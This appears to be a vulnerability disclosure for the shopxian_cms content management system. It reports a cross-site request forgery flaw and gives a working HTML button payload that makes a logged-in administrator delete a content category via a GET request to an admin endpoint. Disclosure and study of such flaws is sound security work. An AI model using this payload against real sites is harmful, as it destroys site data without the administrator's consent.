albert5888 Update file.md History

1 contributor

20 lines (15 sloc) | 877 Bytes

Cross-site request forgery exists in shopxian_cms

vendor：https://github.com/zhangqiquan/shopxian_cms

download link：https://github.com/zhangqiquan/shopxian_cms.git

Vulnerability details: When the administrator logs in, click the button will delete the specified column.

Vulnerability POC:

```
<input type ="button"
onclick="javascript:location.href='http://127.0.0.1/index.php/contents-admin_cat-finderdel-model-ContentsCat.html?id=17'" value="Click Me!!!"></input>
```

CSRF HTML:

```
<input type ="button" onclick="javascript:location.href='http://127.0.0.1/index.php/contents-admin_cat-finderdel-model-ContentsCat.html?id=18'" value="Click Me!!!"></input>
```

open the html and click the button

Click Me!!!

Successfully deleted